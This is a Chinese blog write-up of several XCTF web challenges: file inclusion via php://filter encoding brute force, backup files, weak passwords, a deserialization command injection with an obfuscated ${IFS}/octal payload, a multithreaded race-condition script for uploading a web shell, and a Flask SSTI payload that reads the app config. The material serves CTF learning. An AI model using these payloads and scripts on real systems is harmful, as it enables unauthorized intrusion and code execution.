攻防世界 文件上传

题目名称-文件包含

今天的题大概提一下解题思路就好了

这里要使用php://filter 在此基础上因为网页过滤了一些关键字 我们要进行爆破

cpp 复制代码
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*

就得到了cyberpeace{d85dfd5b23264ede9fc8e1f9bc93a382}

back up

这是一个备份文件的题

/index.php.bak

常见备份文件后缀 :

.git .svn .swp .~ .bak .bash_history .bak

weak_auth

题目描述告诉我们随手设的密码 所以可能是弱密码 我们可以直接进行爆破

很轻松就得到了flag

unseping

又是php代码的审计 这跟昨天写的差不多 都是base编码后反序列化传入 我们中间可以使用正则绕过

wp的payload

a = new ease("ping",array('(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));

wzsc_文件上传

python 复制代码
import requests
import threading
import os
 
class RaceCondition(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)
 
        self.url = 'http://61.147.171.105:62418/upload/a.php'
        self.uploadUrl = 'http://61.147.171.105:62418/upload/shell.php'
 
    def _get(self):
        print('try to call uploaded file...')
        r = requests.get(self.url)
        if r.status_code == 200:
            print('[*] create file shell.php success.')
            os._exit(0)
 
    def _upload(self):
        print('upload file...')
        rs = requests.get(self.uploadUrl)
        if rs.status_code == 200:
            print('[*] create file shell.php success.')
            os._exit(0)
 
    def run(self):
        while True:
            for i in range(5):
                self._get()
 
            for i in range(10):
                self._upload()
                self._get()
 
if __name__ == '__main__':
    threads = 50
 
    for i in range(threads):
        t = RaceCondition()
        t.start()
 
    for i in range(threads):
        t.join()
​
复制代码

这道题我的蚁剑有问题 所以只放了wp的脚本 但我的文件上传也一直不成功

shrine

不规则 我们查看源码

61.147.171.105:64225/shrine/%7B%7Bget_flashed_messages.globals['current_app'].config%7D%7D

这是在shrine路径下的ssti注入,由于过滤了config 和self,可以用get_flashed_messages函数

SSTI

是一种Web应用漏洞,攻击者通过注入恶意模板代码,使服务器在渲染模板时执行这些代码,从而导致敏感信息泄露、代码执行、命令执行等问题

SSTI漏洞的产生主要是因为Web应用程序在使用模板引擎时,未对用户输入进行严格过滤或验证,直接将用户输入作为模板内容的一部分进行渲染

get_flashed_messages函数

是 Flask 框架中用于获取闪现消息(Flash Messages)的函数。闪现消息是一种在请求结束时记录消息,并在下一个请求中访问这些消息的机制,通常用于在重定向后显示一次性消息

相关推荐
云游云记10 小时前
PHP 汉字转拼音扩展包:overtrue/pinyin 全面指南
php·overtrue/pinyin
有代理ip11 小时前
成功请求的密码:HTTP 2 开头响应码深度解析
java·大数据·python·算法·php
小白学大数据14 小时前
实测数据:多进程、多线程、异步协程爬虫速度对比
开发语言·爬虫·python·php
会开花的二叉树15 小时前
Reactor网络库的连接管理核心:Connection类
开发语言·网络·php
木子啊16 小时前
PHP中间件:ThinkCMF 6.x核心利器解析
开发语言·中间件·php
Big Cole17 小时前
PHP面试题(核心基础篇:垃圾回收+自动加载)
android·开发语言·php
Diros1g18 小时前
ubuntu多网卡网络配置
网络·ubuntu·php
catchadmin18 小时前
PHP 现在可以零成本构建原生 iOS 和 Android 应用 NativePHP for Mobile v3 发布
android·ios·php
子木鑫18 小时前
[SUCTF 2019] CheckIn1 — 利用 .user.ini 与图片马构造 PHP 后门并绕过上传检测
android·开发语言·安全·php
JSON_L19 小时前
使用 SQLite 创建数据库和表
数据库·sqlite·php